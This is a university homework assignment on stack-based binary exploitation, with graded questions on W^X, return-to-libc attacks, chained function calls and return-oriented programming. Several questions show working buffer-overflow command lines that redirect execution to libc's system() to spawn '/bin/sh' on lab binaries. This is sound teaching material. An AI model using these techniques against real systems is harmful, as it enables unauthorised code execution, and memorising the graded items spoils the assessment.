SI485H Stack Based Binary Exploits and Defenses
FALL 2015

NAME:_____

HW12

COLLABORATOR(S):_____

1. Explain the principle of w-⊗-x as a way to protect against stack smashing attacks that load shell code.

5/3/1/0

2. What gcc compilation is used to **turn off** w-⊗-x?

5/3/1/0

3. What is a return-to-libc attack?

5/3/1/0

4. What c-library function is typically called when performing a return-to-libc attack?

5/3/1/0

5. Explain the **error** output and how we know that this was a sucessful exploit.

```
user@si485H-base:demo$ ./vulnerable 10 `python -c "print 'A'*(0x2c+4)+'\x90\xa1\xe5\xb7'"`
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???: not found
Segmentation fault (core dumped)
```

5/3/1/0

6. For that error output above, explain how we can change our input such that a shell will be launched. Why does this particular input work?

5/3/1/0

___/30

NAME: _____

7. For the following **strace** of a return-to-libc attack, what command needs to be issued such that this is a successful exploit that launches a shell.

```
user@si485H-base:demo$ strace -f ./harder `python -c "cmd='/bin/sh;';print
cmd+'A'*(0x28+4-len(cmd))+'\x90\xa1\xe5\xb7'"`
execve("./harder", ["./harder", "/bin/sh;AAAAAAAAAAAAAAAAAAAAAAA"...], [/* 20
vars */]) = 0
(...)
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbffff544)
= 2460
waitpid(2460, Process 2460 attached
 <unfinished ...>
(...)
[pid  2460] write(2, "sh: 1: ", 7sh: 1: )      = 7
[pid  2460] write(2, "blah\19\5: not found", 144: not found) = 14
[pid  2460] write(2, "\n", 1
(...)
```

8/6/3/0

8. Suppose you're performing a return-to-libc attack when you get the program to segfault with the following message. What should you use as your exploit string as a result if you wanted to jump to the exploit string to launch a shell?

```
user@si485H-base:demo$ gdb -q prog
(...)
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e5a190 <__libc_system>
(...)

user@si485H-base:demo$ ./prog `python -c "cmd='/bin/sh;';print cmd+'A'*(0x6a-len(cmd)) +
'\xef\xbe\xad\xde' + 'BBBB' + '\xbe\xba\xfe\xca'"`
/bin/sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA□?AAAA????
Segmentation fault (core dumped)

user@si485H-base:demo$ dmesg | tail -1
[ 7089.578719] harder[2566]: segfault at deadbeef ip deadbeef sp bffffa4c error 15
```

8/6/3/0

9. Explain how the sequence, "sh;sh;sh;sh;sh;sh;sh;" is a lot like a nop-sled for return-to-libc attacks.

4/3/1/0

___/20

NAME: _____

10. If the function bad() is at address 0x0804847d and the address of good() is at address 0x0804852a, what order of functions results from the exploit string:

```
./prog `python -c "print 'A'*(0x6c+4) + '\x7d\x84\x04\x08' +
'\x2a\x85\x04\x08' + '\x2a\x85\x04\x08' + '\x7d\x84\x04\x08'"`
```

5/3/1/0

11. Consider that the function bad() is defined as following:

```
void bad(int a){printf("%#08x\n",a);}
```

and good() is defined as following

```
void good(){printf("Go Navy!\n");}
```

What is the output given the exploit string if good() and bad() is at the same location as before?

```
./prog `python -c "print 'A'*(0x6c+4) + '\x7d\x84\x04\x08' +
'\x2a\x85\x04\x08' + '\xbe\xba\xfe\xca' + '\xef\xbe\xad\xde'"`
```

5/3/1/0

12. For the previous question, what exactly causes the segfault? **Be explicit and precise.**

6/4/2/0

12. Consider that the function bad() is defined as following:

```
void bad(int a, int b){printf("%#08x %#08x\n",a,b);}
```

And good() is defined the same as before, what will the output of the program be?

```
./prog `python -c "print 'A'*(0x6c+4) + '\x7d\x84\x04\x08' +
'\x2a\x85\x04\x08' + '\xbe\xba\xfe\xca' + '\xef\xbe\xad\xde'"`
```

6/4/2/0

___/22

NAME: _____

13. Given the definition of bad(int a, int b) and good() from above, why can we **not** create a exploit string where we call bad(0xcafebabe,0xdeadbeef) then good() and then bad() again such that this time bad(0xbadf00d,0xfeed3e3e)?

6/4/2/0

14. If we were to write an exploit string to do the sequence of function calls as desired above (ie, bad(0xcafebabe), good(0xdeadbeef), then bad(0xbadf00d,0xfeed3e3e)): What gadget would we need?

6/4/2/0

15. Assuming the gadget was at memory address 0x080485a9, complete the exploit string to do the desired sequence of function calls.

6/4/2/0

16. What exactly is a gadget? What property does it have?

5/3/1/0

17. What is Return Oriented Programming? Why does ROP defeat both address space randomization and w-⊗-x?

5/3/1/0

___/28